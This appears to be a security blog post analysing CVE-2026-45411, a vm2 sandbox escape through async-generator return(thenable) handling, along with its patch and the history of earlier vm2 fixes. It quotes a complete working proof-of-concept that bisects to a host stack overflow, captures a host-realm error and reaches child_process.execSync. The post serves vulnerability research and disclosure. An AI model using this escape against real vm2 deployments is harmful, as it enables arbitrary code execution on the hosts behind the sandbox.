CVE-2026-45411 was published against vm2 ≤ 3.11.2 on May 11, 2026. The advisory describes an async-generator sandbox escape: i.return(thenable) on a yield*-delegating async generator runs the thenable's then callback inside V8's async-generator machinery, and an exception thrown from that callback is caught by the runtime and yielded back to sandbox code as the next value. The captured exception is a host-realm object. From there, the chain is the standard e.constructor.constructor("return process")().
The published PoC's exploit loop is not that chain. The chain is four lines. The PoC's exploit loop is a binary search.
The PoC is a tool, not a probe
The exploit body, verbatim from the advisory:
const {VM} = require("vm2");
const vm = new VM();
vm.run(`
class E extends Error {}
function so(d) {
if (d > 0) so(d-1);
const e = new E();
e.stack;
throw e;
}
async function* helper() {
yield* {
[Symbol.asyncIterator]: () => ({
next: v => ({value: v, done: false})
})
};
}
async function doCatch(f) {
const i = helper();
await i.next();
const v = await i.return({then(r) { f(); r(); }});
return v.value;
}
(async function f() {
let min = 0;
let max = 10000000;
while (min < max) {
const mid = (min+max) >> 1;
const e = await doCatch(() => so(mid));
if (e.name === "RangeError" && !(e instanceof RangeError)) {
e.constructor.constructor("return process")()
.mainModule.require('child_process')
.execSync('touch pwned');
return;
}
if (e instanceof E) {
min = mid + 1;
} else {
max = mid;
}
}
})();
`);
so(d) recurses d deep, then constructs a sandbox-realm E extends Error, reads .stack, and throws. At small d, the recursion returns cleanly and a sandbox E arrives at the catch site. At d past the host V8 isolate's stack budget under the call frames the async generator's await imposes, the deepest recursive call overflows before the constructor line is reached, and V8's stack-overflow handler manufactures a host-realm RangeError. The boundary between the two regimes is the smallest d that produces a host stack overflow on this specific V8 build.
The PoC author does not know that number. They bisect for it.
Three things land at once in the loop body. The first is the realm fingerprint: e.name === "RangeError" && !(e instanceof RangeError). e.name is a string compared against a string literal, and strings are primitive across realms. e instanceof RangeError looks up the sandbox RangeError.prototype and walks the operand's prototype chain for identity, and identity is realm-bound. The condition reads true when, and only when, the name says RangeError and the prototype chain does not pass through the sandbox's RangeError. There is exactly one source of a thing-named-RangeError-whose-prototype-is-not-sandbox-RangeError, V8's stack-overflow machinery constructing the object in the parent isolate. The fingerprint is bespoke.
The second is the recurrence relation. If a sandbox E arrives, min = mid + 1 continues the upward search. If anything else arrives, max = mid assumes the stack-overflow boundary has been crossed. Twenty-three iterations of bisection over [0, 10_000_000] localise the boundary to a single integer. The exploit runs that handful of iterations and then fires.
The third is the upper bound itself. Ten million. The PoC author does not know whether the answer is two thousand or two hundred thousand. They picked a bound that comfortably exceeds any plausible V8 isolate stack and let bisection do the rest. This is not a researcher confirming a single finding on a specific Node build. This is a self-calibrating tool that locates the host stack-overflow boundary at runtime, with a realm-mismatch detector wired to its output, shipped as a self-contained vm.run() payload.
vm2 is a sandbox. Its job is to run caller-supplied JavaScript safely. A PoC of this shape is the detector is the target made literal: the thing that executes attacker code is the thing being attacked, and the PoC is a self-contained vm.run() payload doing exactly what vm.run() is documented to accept.
yield* + return(thenable) crosses into V8 twice
The advisory describes the primitive in one sentence: "It is possible to catch a host exception using the yield* expression inside an async generator. When the generator is closed using the return function, the value is awaited on and exceptions thrown in the then call will be catched by the runtime and passed to the yield* iterator as the next value."
Each clause maps to an ES2018 spec section.
yield* inside an async generator desugars to a delegation loop. The outer async generator forwards next, return, and throw completions to the inner iterator and awaits each result. When the outer is suspended at a yield* and the consumer calls outer.return(value), ES2018 §14.4.14 instructs the runtime to look up return on the inner iterator. The PoC's inner iterator is { [Symbol.asyncIterator]: () => ({ next: v => ({value: v, done: false}) }) }. It has no return method. With no inner return, the outer's return completion proceeds with the supplied value.
The supplied value is {then(r) { f(); r(); }}. A thenable. AsyncGeneratorResolve's contract on a return value is to await it. The await invokes thenable.then(resolve, reject). Inside .then, the callback runs f() first, synchronously. f is () => so(mid). If so overflows the host stack, the throw originates inside the C++ frame that is currently executing the thenable on V8's behalf during the async generator's return-completion processing.
V8's AsyncGeneratorAwait is C++. The catch is C++. The catch's handler, per the behaviour the advisory describes, routes the captured exception back through the yield* delegation machinery as the next value. The outer await i.return(...) resolves with {value: <captured host RangeError>, done: ?} and v.value hands the host RangeError to sandbox code.
vm2's bridge is a Proxy. The Proxy traps property reads, writes, calls, and constructions done from JavaScript. The AsyncGeneratorAwait protocol's catch handler is done from C++. The bridge does not see the catch. The bridge does not see the construction of the RangeError by V8's stack-overflow handler either. Both objects are manufactured in the parent isolate, on the sandbox's behalf, during execution paths the Proxy cannot intercept.
This is the fourth time on this blog that the same shape has been described against vm2. The exit channel changes. The bridge's blindness does not. Array.prototype.map's species lookup is in C++ (CVE-2026-24118). WebAssembly.JSTag's identity is in a C++ slot (CVE-2026-26956). SuppressedError's construction inside DisposableStack.dispose is in C++ (CVE-2026-26332). Now %AsyncGeneratorPrototype%'s thenable-resolution path on .return is in C++.
The patch wraps %AsyncGeneratorPrototype%
The fix shipped on May 11, 2026, in commit 093494c, vm2 v3.11.3. The CHANGELOG entry names the surface and the operation:
Wrap %AsyncGeneratorPrototype%.next, .return, .throw to sanitize returned values and replace thenable arguments with sandbox-realm wrappers.
Two operations. The sanitization wraps the resolution value of each iterator-protocol call back through the bridge's host-to-sandbox carrier so that any host-realm reference reaching sandbox code via v.value gets a Proxy stand-in. The thenable substitution intercepts the argument to .return(value) (and the equivalent for .next and .throw), and when the argument is a thenable, replaces its then with a sandbox-realm wrapper that catches synchronous throws in the original then and re-raises them as sandbox-constructed exceptions.
Both halves live in lib/setup-sandbox.js alongside the existing defenses. The function-name pattern matches the family. There is now a formal inventory of named functions in that file whose purpose is to defeat a specific C++ surface vm2's Proxy bridge cannot trap:
| Commit |
Date |
Defense |
Closes |
26168e6 |
2023-09 |
resetPromiseSpecies |
Promise.prototype.then's C++ species lookup |
1fbdeff |
2026-02 |
Delete WebAssembly.JSTag |
wasm try_table's C++ tag-identity read |
a6cd917 |
2026-02 |
handleException sub-error recursion |
SuppressedError.suppressed reaching from C++ disposal |
f9b700b |
2026-05 |
neutralizeArraySpeciesBatch |
ArraySpeciesCreate's C++ constructor read on every host-array argument |
093494c |
2026-05 |
%AsyncGeneratorPrototype% wrap |
thenable-arg resolution in C++ during .next/.return/.throw |
The shape of every entry is the same. Identify the C++ surface. Attempt a wrap or a deletion at the JS-visible seam closest to it. Accept that the wrap is reactive and per-feature. The vocabulary is the defense library's formal admission of where the Proxy bridge gave up.
Async generators shipped in 2018. The wrap list named them in 2026.
The defense vocabulary's growth is not paced by V8 shipping features. AsyncGenerator was specified in ES2018 and landed in V8 the same year. Array.prototype.map's species behaviour was specified in ES2015. Promise.prototype.then's species behaviour was specified in ES2015. The wrap list named Promise's in 2023, Array's in May 2026, AsyncGenerator's in May 2026. The gap between V8 shipping the surface and vm2's wrap list naming the surface is the gap between "feature exists" and "researcher demonstrated a path to it."
That gap is the whole story. The bridge cannot be exhaustively pre-wrapped against every V8 C++ path because there are too many and most are invisible at the JavaScript level. The wrap list grows by one entry per published advisory. The next entry is whichever V8 C++ surface the next researcher demonstrates next. The shape of that researcher's PoC will rhyme with the four entries already named: harvest a host-realm object via a C++-resident protocol, fingerprint the realm, navigate constructor.constructor to Function, Function("return process")().
vm2 is a clean instance of the design-debt-driver at its terminal stage. The CVE descriptions across vm2's lineage rhyme on shape (Promise.then species, Array.map species, wasm try_table, SuppressedError disposal, async-generator thenable-await), and every patch is a sanitisation layer at one boundary. The substrate, in-process JavaScript sandboxing through Proxies, is unchanged. The next CVE is the next entry point a researcher reaches.
The README already admits this is unbounded. The maintainer's "important security disclaimer" names "new bypasses will likely be discovered in the future" as the substrate's terminal property. The wrap list is that admission expressed in source code, one named function at a time.
This is the unpatchable primitive. The patch closes CVE-2026-45411. It does not close the surface that produces CVE-2026-45411. The defense library's growth is the substrate's CVE history, expressed in function names.
PoC: GHSA-248r-7h7q-cr24. Patch: 093494c in vm2 v3.11.3.
AsyncGenerator shipped in V8 in 2018. The wrap list named it eight years later. The list is paced by researchers, not by V8.